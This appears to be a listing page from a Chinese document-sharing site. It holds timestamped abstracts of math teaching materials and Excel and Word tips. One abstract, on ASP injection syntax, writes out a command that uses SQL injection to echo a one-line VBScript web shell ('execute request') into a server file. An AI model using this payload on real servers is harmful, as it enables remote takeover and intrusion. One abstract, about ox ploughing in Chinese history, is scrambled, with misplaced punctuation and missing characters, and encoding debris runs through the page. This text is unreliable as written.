【摘要】第1頁共6頁函數(shù)專題(上)一、知識提要1.平面直角坐標(biāo)系:在平面內(nèi),兩條互相垂直且有公共原點(diǎn)的數(shù)軸組成平面直角坐標(biāo)系.2.函數(shù)表達(dá)式一次函數(shù):反比例函數(shù):二次函數(shù):一般式:頂點(diǎn)式:交點(diǎn)式:3
2025-02-26 18:12
【摘要】Word絕招:一、輸入三個“=”,回車,得到一條雙直線;二、輸入三個“~”,回車,得到一條波浪線;三、輸入三個“*”或“-”或“#”,回車,驚喜多多;在單元格內(nèi)輸入=now()??顯示日期在單元格內(nèi)輸入=CHOOSE(WEEKDAY(I3,2),"星期一","星期二","星期三",
2025-06-30 22:41
【摘要】網(wǎng)絡(luò)編程中常用到的27個函數(shù)集Abs(number)取得數(shù)值的絕對值。Asc(String)取得字符串表達(dá)式的第一個字符ASCII碼。Atn(number)取得一個角度的反正切值。CallByName(object,proame,usecalltype,[args()])執(zhí)行一個對象的方法、設(shè)定或傳回對象的屬性。
2024-10-24 16:32
【摘要】中國領(lǐng)先的中小學(xué)教育品牌精銳教育學(xué)科教師輔導(dǎo)講義講義編號11sh11sx00學(xué)員編號:年級:高二課時數(shù):3學(xué)員姓名:輔導(dǎo)科目:
2024-09-27 04:57
【摘要】COUNTIF計算區(qū)域中滿足給定條件的單元格的個數(shù)。語法COUNTIF(range,criteria)Range為需要計算其中滿足條件的單元格數(shù)目的單元格區(qū)域。Criteria為確定哪些單元格將被計算在內(nèi)的條件,其形式可以為數(shù)字、表達(dá)式、單元格引用或文本。例如,條件可以表示為32、"32"、"32"、&quo
2024-10-04 15:25
【摘要】1.函數(shù)的定義域是(D)A. B.C.D.2.函數(shù),則(B)A.1 B.-1 C. D.3.已知函數(shù),則下列命題正確的是(B)A.是周期為1的奇函數(shù) B.是周期為2的偶函數(shù)C.是周期為1的非奇非偶函數(shù) D.是周期為2的非奇非偶函數(shù)
2024-10-02 04:36
【摘要】第六章多元函數(shù)微積分教學(xué)重點(diǎn):本章重點(diǎn)講授多元函數(shù)的基本概念、偏導(dǎo)、全微分、復(fù)合函數(shù)微分法與隱函數(shù)微分法、多元函數(shù)的極值及其求法、二重積分的計算。教學(xué)難點(diǎn):本章難點(diǎn)為復(fù)合函數(shù)微分法與隱函數(shù)微分法、多元函數(shù)極值的求法、二重積分的計算。教學(xué)內(nèi)容:在前面幾章中,我們討論的函數(shù)都只有一個自變量,這種函數(shù)稱為一元函數(shù).但在許多實(shí)際問題中,我們往往要考
2024-10-01 19:47
【摘要】,鐵鏵,牛拉著木犁也,耕地,外歷史上乏其例,牛耕伴隨著原始農(nóng)業(yè)的,生而出現(xiàn)農(nóng)業(yè)生需要強(qiáng),大的勞動力從一開始,,牛這種動物穩(wěn)定而力量,巨大的特點(diǎn),就被們更,地到了牛和馬最早都出,現(xiàn)在原始農(nóng)業(yè)地區(qū),而,出現(xiàn)在北方或我西北的,游牧地區(qū),在我,牛耕,地的歷史確實(shí)很早,在,秦漢之際就已經(jīng)出現(xiàn)了,,或許更早而我的馬,,最早也從北方傳的,它,與農(nóng)業(yè)直的原始關(guān)系由,于其善于奔跑的特點(diǎn),,更地被利到古代的軍事,方
2025-06-01 02:34
【摘要】asp注入語法大全(一)1、160。160。用^轉(zhuǎn)義字符來寫ASP(一句話木馬)文件的方法:160。160。216。。exec’echo^〈SCRIPTlanguage=VBScriptrunat=server^〉executerequest^(l^)^〈/script^〉〉c:\’。--〈/P〉160。160。echo216?!碢〉^〈%execu
2024-10-01 01:10
【摘要】實(shí)訓(xùn)題目:函數(shù)信號發(fā)生器設(shè)計要求設(shè)計任務(wù):設(shè)計由集成運(yùn)算放大器于晶體管放大器組成的方波——三角波——正弦波函數(shù)發(fā)生器以及輸出為+12V與-12V的電源給所設(shè)計的函數(shù)信號發(fā)生器提供電壓。性能指標(biāo)要求1:輸出波形正弦波、方波可調(diào)幅度、三角波幅度。2:頻率范圍頻率范圍1HZ~10HZ,100HZ~1KHZ,1KHZ~10KHZ,10KHZ
2024-10-01 18:10
【摘要】1、IF執(zhí)行真假判斷,根據(jù)邏輯測試的真假值,返回不同的結(jié)果。語法:IF(logical_test,value_if_true,value_if_false)。 Logical_test:計算結(jié)果為TRUE或FALSE的任何數(shù)值或表達(dá)式。 Value_if_true:logical_test為TRUE時函數(shù)的返回值。 Value_if_false:logical_test為FA
2024-10-01 17:35
【摘要】指數(shù)函數(shù)說課稿我本節(jié)課說課的內(nèi)容是高中數(shù)學(xué)第一冊第二章第六節(jié)“指數(shù)函數(shù)”的第一課時——指數(shù)函數(shù)的定義,圖像及性質(zhì)。我將嘗試運(yùn)用新課標(biāo)的理念指導(dǎo)本節(jié)課的教學(xué)。新課標(biāo)指出,學(xué)生是教學(xué)的主體,教師的教要應(yīng)本著從學(xué)生的認(rèn)知規(guī)律出發(fā),以學(xué)生活動為主線,在原有知識的基礎(chǔ)上,建構(gòu)新的知識體系。我將以此為基礎(chǔ)從教材分析,教學(xué)目標(biāo)分析,教法學(xué)法分析和教學(xué)過程分析這幾個方面加以說明。一、教材分析
2024-09-30 17:47
【摘要】-1-二次函數(shù)(1)一、二次函數(shù)的定義(考點(diǎn):二次函數(shù)的二次項(xiàng)系數(shù)不為0,且二次函數(shù)的表達(dá)式必須為整式)1、下列函數(shù)中,是二次函數(shù)的是.①142???xxy;②22xy?;③xxy422??;④xy3??;⑤12???xy;⑥pnxmxy???
2025-02-26 17:46
【摘要】1第五章反比例函數(shù)復(fù)習(xí)常州市新北區(qū)龍虎塘中學(xué)嚴(yán)黎明【教學(xué)目標(biāo)】(一)知識與技能(1)經(jīng)歷抽象反比例函數(shù)概念的過程,領(lǐng)會反比例函數(shù)的意義,理解反比例函數(shù)的概念。(2)會作反比例函數(shù)的圖象,并探索和掌握反比例函數(shù)的主要性質(zhì)。(3)會從函數(shù)圖象中獲取信息,解決實(shí)際問題。(二
2025-02-26 18:42
【摘要】,如圖,在平面直角坐標(biāo)系中,點(diǎn)A坐標(biāo)為(-2,0),點(diǎn)B坐標(biāo)為(0,2),點(diǎn)E為線段AB上的動點(diǎn)(點(diǎn)E不與點(diǎn)A,B重合),以E為頂點(diǎn)作∠OET=45°,射線ET交線段OB于點(diǎn)F,C為y軸正半軸上一點(diǎn),且OC=AB,拋物線y=x2+mx+n的圖象經(jīng)過A,C兩點(diǎn).(1)求此拋物線的函數(shù)表達(dá)式;(2)求證:∠BEF=∠AOE;(3)當(dāng)△EOF為等腰三角形時,求此時點(diǎn)E的
2024-09-27 05:09